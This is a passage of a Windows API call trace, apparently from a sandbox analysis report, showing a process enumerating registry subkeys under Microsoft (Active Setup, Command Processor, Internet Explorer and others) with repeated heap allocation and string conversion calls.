Flags=0x8, Size=0x80) returned 0x38e840 [0030.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0030.342] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x38c240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0030.342] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.342] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.342] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.342] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.342] RegEnumKeyW (in: hKey=0x104, dwIndex=0x6, lpName=0x1d99d18, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0030.342] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0030.342] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x38c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0030.342] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.342] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.342] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.342] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.342] RegOpenKeyExW (in: hKey=0x104, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0xec) returned 0x0 [0030.342] RegCloseKey (hKey=0x104) returned 0x0 [0030.342] RegEnumKeyW (in: hKey=0xec, dwIndex=0x0, lpName=0x1d99d18, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0030.342] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0030.342] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x38c240, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0030.342] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.342] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.342] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.342] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.343] RegEnumKeyW (in: hKey=0xec, dwIndex=0x1, lpName=0x1d99d18, cchName=0x104 | out: lpName="ActiveMovie") returned 0x0 [0030.343] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activemovie", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0030.343] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activemovie", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activemovie", lpUsedDefaultChar=0x0) returned 11 [0030.343] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.343] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.343] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.343] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.343] RegEnumKeyW (in: hKey=0xec, dwIndex=0x2, lpName=0x1d99d18, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0030.343] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0030.343] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x38c240, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0030.343] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.343] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.343] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.343] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.343] RegEnumKeyW (in: hKey=0xec, dwIndex=0x3, lpName=0x1d99d18, cchName=0x104 | out: lpName="ASF Stream Descriptor File") returned 0x0 [0030.343] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asf stream descriptor file", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0030.343] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asf stream descriptor file", cchWideChar=26, lpMultiByteStr=0x38c120, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asf stream descriptor file", lpUsedDefaultChar=0x0) returned 26 [0030.343] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.343] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.343] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.343] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.343] RegEnumKeyW (in: hKey=0xec, dwIndex=0x4, lpName=0x1d99d18, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0030.343] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0030.343] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x38c240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0030.344] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.344] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.344] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.344] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.344] RegEnumKeyW (in: hKey=0xec, dwIndex=0x5, lpName=0x1d99d18, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0030.344] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0030.344] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x38c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0030.344] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.344] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.344] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.344] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.344] RegEnumKeyW (in: hKey=0xec, dwIndex=0x6, lpName=0x1d99d18, cchName=0x104 | out: lpName="CTF") returned 0x0 [0030.344] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0030.344] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x38c240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0030.344] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.344] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.344] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.344] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.344] RegEnumKeyW (in: hKey=0xec, dwIndex=0x7, lpName=0x1d99d18, cchName=0x104 | out: lpName="Direct3D") returned 0x0 [0030.344] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="direct3d", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0030.344] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="direct3d", cchWideChar=8, lpMultiByteStr=0x38c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="direct3d", lpUsedDefaultChar=0x0) returned 8 [0030.344] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.344] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.344] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.344] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.344] RegEnumKeyW (in: hKey=0xec, dwIndex=0x8, lpName=0x1d99d18, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0030.344] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0030.345] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x38c240, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0030.345] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.345] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.345] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.345] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.345] RegEnumKeyW (in: hKey=0xec, dwIndex=0x9, lpName=0x1d99d18, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0030.345] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0030.345] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x38c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0030.345] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.345] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.345] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.345] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.345] RegEnumKeyW (in: hKey=0xec, dwIndex=0xa, lpName=0x1d99d18, cchName=0x104 | out: lpName="Fax") returned 0x0 [0030.345] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0030.345] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x38c240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0030.345] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.345] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.345] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.345] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.345] RegEnumKeyW (in: hKey=0xec, dwIndex=0xb, lpName=0x1d99d18, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0030.345] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0030.345] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x38c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0030.345] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.345] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.346] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.346] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.346] RegEnumKeyW (in: hKey=0xec, dwIndex=0xc, lpName=0x1d99d18, cchName=0x104 | out: lpName="FTP") returned 0x0 [0030.346] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ftp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0030.346] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ftp", cchWideChar=3, lpMultiByteStr=0x38c240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ftp", lpUsedDefaultChar=0x0) returned 3 [0030.346] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.346] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.346] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.346] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.346] RegEnumKeyW (in: hKey=0xec, dwIndex=0xd, lpName=0x1d99d18, cchName=0x104 | out: lpName="GDIPlus") returned 0x0 [0030.346] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gdiplus", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0030.346] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gdiplus", cchWideChar=7, lpMultiByteStr=0x38c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gdiplus", lpUsedDefaultChar=0x0) returned 7 [0030.346] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.346] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.346] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.346] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.346] RegEnumKeyW (in: hKey=0xec, dwIndex=0xe, lpName=0x1d99d18, cchName=0x104 | out: lpName="IAM") returned 0x0 [0030.346] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0030.346] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iam", cchWideChar=3, lpMultiByteStr=0x38c240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iam", lpUsedDefaultChar=0x0) returned 3 [0030.346] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.346] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.346] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.346] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.346] RegEnumKeyW (in: hKey=0xec, dwIndex=0xf, lpName=0x1d99d18, cchName=0x104 | out: lpName="IME") returned 0x0 [0030.347] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0030.347] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x38c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0030.347] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.347] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.347] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.347] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.347] RegEnumKeyW (in: hKey=0xec, dwIndex=0x10, lpName=0x1d99d18, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0030.347] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0030.347] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x38c240, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0030.347] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.348] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.348] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.348] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.348] RegEnumKeyW (in: hKey=0xec, dwIndex=0x11, lpName=0x1d99d18, cchName=0x104 | out: lpName="IMEMIP") returned 0x0 [0030.348] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imemip", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0030.348] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imemip", cchWideChar=6, lpMultiByteStr=0x38c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imemip", lpUsedDefaultChar=0x0) returned 6 [0030.348] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.348] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.348] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.348] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.348] RegEnumKeyW (in: hKey=0xec, dwIndex=0x12, lpName=0x1d99d18, cchName=0x104 | out: lpName="Internet Connection Wizard") returned 0x0 [0030.348] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet connection wizard", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0030.348] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet connection wizard", cchWideChar=26, lpMultiByteStr=0x38c240, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet connection wizard", lpUsedDefaultChar=0x0) returned 26 [0030.348] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.348] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.348] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.348] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.348] RegEnumKeyW (in: hKey=0xec, dwIndex=0x13, lpName=0x1d99d18, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0030.348] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", 